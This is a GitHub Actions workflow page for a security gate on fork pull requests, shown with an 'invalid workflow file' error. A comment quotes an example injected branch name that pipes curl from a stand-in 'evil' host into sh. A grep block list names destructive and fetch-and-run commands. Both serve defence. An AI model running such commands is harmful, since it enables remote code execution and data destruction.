Skip to content

docs(config): correct O5 wording against live ruleset state; record T… #313

docs(config): correct O5 wording against live ruleset state; record T…

docs(config): correct O5 wording against live ruleset state; record T… #313

# This workflow is managed by gh actions-lock.

Check failure on line 1 in .github/workflows/security-gate-pr-target.yml

View workflow run for this annotation

GitHub Actions / .github/workflows/security-gate-pr-target.yml

Invalid workflow file

(Line: 56, Col: 14): An expression was expected
# SPDX-License-Identifier: MPL-2.0
# 🔴 GATE: Security Gate for Fork Pull Requests
# This workflow is managed by gh actions-lock.
name: "🔴 GATE: Security Gate (Fork PRs)"
on:
pull_request_target:
branches: [main, master]
types: [opened, synchronize, reopened, ready_for_review]
permissions:
contents: read
pull-requests: write
security-events: read
# Critical: This runs in the BASE repository context, not the PR fork
# This allows safe scanning of untrusted code from forks
jobs:
security-check-fork-pr:
name: Security Checks for Fork PRs
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- name: Checkout base repository
uses: actions/checkout@v7.0.1
with:
# Explicitly checkout the base branch, not the PR branch
ref: ${{ github.base_ref }}
fetch-depth: 0
- name: Check if PR is from a fork
id: fork-check
env:
HEAD_IS_FORK: ${{ github.event.pull_request.head.repo.fork }}
HEAD_REPO: ${{ github.event.pull_request.head.repo.full_name }}
HEAD_OWNER: ${{ github.event.pull_request.head.repo.owner.login }}
run: |
if [ "$HEAD_IS_FORK" = "true" ]; then
{
echo "is_fork=true"
echo "fork_repo=$HEAD_REPO"
echo "fork_owner=$HEAD_OWNER"
} >> "$GITHUB_OUTPUT"
else
echo "is_fork=false" >> "$GITHUB_OUTPUT"
fi
- name: Extract PR branch for safe checkout
if: steps.fork-check.outputs.is_fork == 'true'
id: pr-checkout
env:
PR_BRANCH: ${{ github.event.pull_request.head.ref }}
FORK_REPO: ${{ github.event.pull_request.head.repo.full_name }}
run: |
# Check out the PR branch from the fork.
#
# SECURITY — read before editing. This job runs on
# `pull_request_target`, which means it executes in the BASE
# repository context holding BASE repository permissions. That is
# exactly why a fork's branch name must NEVER be interpolated into
# this script: `${{ }}` is expanded into the script TEXT by the
# runner before bash ever parses it, so a fork branch named
# `x";curl evil|sh;"` would run here with this job's token. Being in
# the base context is what makes it dangerous, not what makes it
# safe. Both values therefore arrive through `env:` above and are
# only ever referenced as quoted shell variables.
case "$PR_BRANCH" in
""|-*|*..*)
echo "::error::refusing to check out an unsafe branch name"
exit 1
;;
esac
echo "Checking out PR branch from fork: $FORK_REPO/$PR_BRANCH"
# Add the fork as a remote temporarily
git remote add pr-fork "https://github.com/$FORK_REPO.git" 2>/dev/null || true
# Fetch the PR branch
git fetch pr-fork -- "$PR_BRANCH" 2>/dev/null || true
# Checkout the PR branch
git checkout -f "pr-fork/$PR_BRANCH" 2>/dev/null || git checkout -f "$PR_BRANCH" 2>/dev/null || true
echo "pr_checked_out=true" >> "$GITHUB_OUTPUT"
- name: Security Scan - Secrets Detection
if: steps.fork-check.outputs.is_fork == 'true' && steps.pr-checkout.outputs.pr_checked_out == 'true'
id: secrets-scan
uses: hyperpolymath/a2ml-ecosystem/secrets-check-action@main
with:
path: '.'
strict: 'true'
continue-on-error: false
- name: Security Scan - Malicious Content Detection
if: steps.fork-check.outputs.is_fork == 'true' && steps.pr-checkout.outputs.pr_checked_out == 'true'
id: malicious-scan
run: |
# Use gitleaks if available, otherwise basic grep
echo "🔍 Scanning for malicious content patterns..."
MALICIOUS_PATTERNS=(
'rm\s+-rf\s+/'
'rm\s+-rf\s+\$'
'exec\s+.*\|\s*bash'
'wget\s+.*\|\s*sh'
'curl\s+.*\|\s*sh'
'chmod\s+777'
'chmod\s+\+x\s+.*/\.bashrc'
'chmod\s+\+x\s+.*/\.bash_profile'
'echo\s+.*\>\s*/etc/passwd'
'echo\s+.*\>\s*/etc/shadow'
)
found_issue=0
for pattern in "${MALICIOUS_PATTERNS[@]}"; do
if grep -rlE "$pattern" . 2>/dev/null | grep -v '^\./\.git/' | grep -v test | grep -v example; then
echo "::error::Found potential malicious pattern: $pattern"
found_issue=1
break
fi
done
if [ $found_issue -ne 0 ]; then
echo "::error::Malicious content detected in PR"
exit 1
fi
echo "✅ No malicious patterns detected"
- name: Security Scan - File Type Validation
if: steps.fork-check.outputs.is_fork == 'true' && steps.pr-checkout.outputs.pr_checked_out == 'true'
id: file-type-scan
run: |
echo "🔍 Validating file types..."
# Check for suspicious file types
SUSPICIOUS_FILES=$(find . -type f \
-path './.git/*' -prune -o \
\( -name '*.exe' -o -name '*.bat' -o -name '*.cmd' -o -name '*.ps1' \
-o -name '*.vbs' -o -name '*.jse' -o -name '*.wsf' \
-o -name '*.msi' -o -name '*.dll' -o -name '*.com' \
-o -name '*.pif' -o -name '*.application' \
-o -name '*.scr' -o -name '*.hta' \) \
-print 2>/dev/null || true)
if [ -n "$SUSPICIOUS_FILES" ]; then
echo "::warning::Suspicious file types detected:"
echo "$SUSPICIOUS_FILES"
echo ""
echo "These file types may indicate binary executables or scripts."
echo "Please verify these are legitimate and not malicious."
fi
- name: Security Scan - Large File Detection
if: steps.fork-check.outputs.is_fork == 'true' && steps.pr-checkout.outputs.pr_checked_out == 'true'
id: large-file-scan
run: |
echo "🔍 Checking for unusually large files..."
# Check for files > 10MB (GitHub's warning threshold)
LARGE_FILES=$(find . \
-path './.git/*' -prune -o \
-type f -size +10M \
-print 2>/dev/null | head -20 || true)
if [ -n "$LARGE_FILES" ]; then
echo "::warning::Large files detected (>10MB):"
for file in $LARGE_FILES; do
size=$(du -h "$file" | cut -f1)
echo " - $file ($size)"
done
echo ""
echo "Large files should be tracked with Git LFS or removed."
fi
- name: Post Security Scan Comment
if: steps.fork-check.outputs.is_fork == 'true'
uses: actions/github-script@v9.0.0
with:
script: |
const prNumber = context.issue.number;
const owner = context.repo.owner;
const repo = context.repo.repo;
// Only post if we're in a PR context
if (context.issue.number) {
await github.rest.issues.createComment({
issue_number: prNumber,
owner: owner,
repo: repo,
body: '✅ **Fork PR Security Pre-checks Passed**\n\n' +
'This PR has passed the initial security validation for fork pull requests:\n' +
'• Secrets scanning\n' +
'• Malicious content detection\n' +
'• File type validation\n' +
'• Large file detection\n\n' +
'Full CI suite will run when PR is accepted.'
});
}
# Fallback for non-fork PRs - just run basic checks
security-check-regular-pr:
name: Security Checks for Regular PRs
if: steps.fork-check.outputs.is_fork != 'true'
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- name: Checkout repository
uses: actions/checkout@v7.0.1
with:
fetch-depth: 0
- name: Basic Security Validation
run: |
echo "✅ Regular PR - security validation delegated to standard workflows"
echo "This workflow only adds fork-specific security checks"
final-summary:
name: Security Gate Summary
runs-on: ubuntu-latest
needs: [security-check-fork-pr, security-check-regular-pr]
if: always()
steps:
- name: Checkout repository
uses: actions/checkout@v7.0.1
- name: Generate Summary
run: |
echo "## Security Gate (Fork PRs) Summary" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
if [ "${{ needs.security-check-fork-pr.result }}" = "success" ]; then
echo "✅ Fork PR security checks: **PASSED**" >> $GITHUB_STEP_SUMMARY
elif [ "${{ needs.security-check-fork-pr.result }}" = "failure" ]; then
echo "❌ Fork PR security checks: **FAILED**" >> $GITHUB_STEP_SUMMARY
else
echo "⚪ Fork PR security checks: **SKIPPED**" >> $GITHUB_STEP_SUMMARY
fi
if [ "${{ needs.security-check-regular-pr.result }}" = "success" ]; then
echo "✅ Regular PR security checks: **PASSED**" >> $GITHUB_STEP_SUMMARY
else
echo "⚪ Regular PR security checks: **SKIPPED**" >> $GITHUB_STEP_SUMMARY
fi
echo "" >> $GITHUB_STEP_SUMMARY
echo "This gate provides additional security checks for pull requests from forks," >> $GITHUB_STEP_SUMMARY
echo "which cannot be trusted with the same permissions as internal branches." >> $GITHUB_STEP_SUMMARY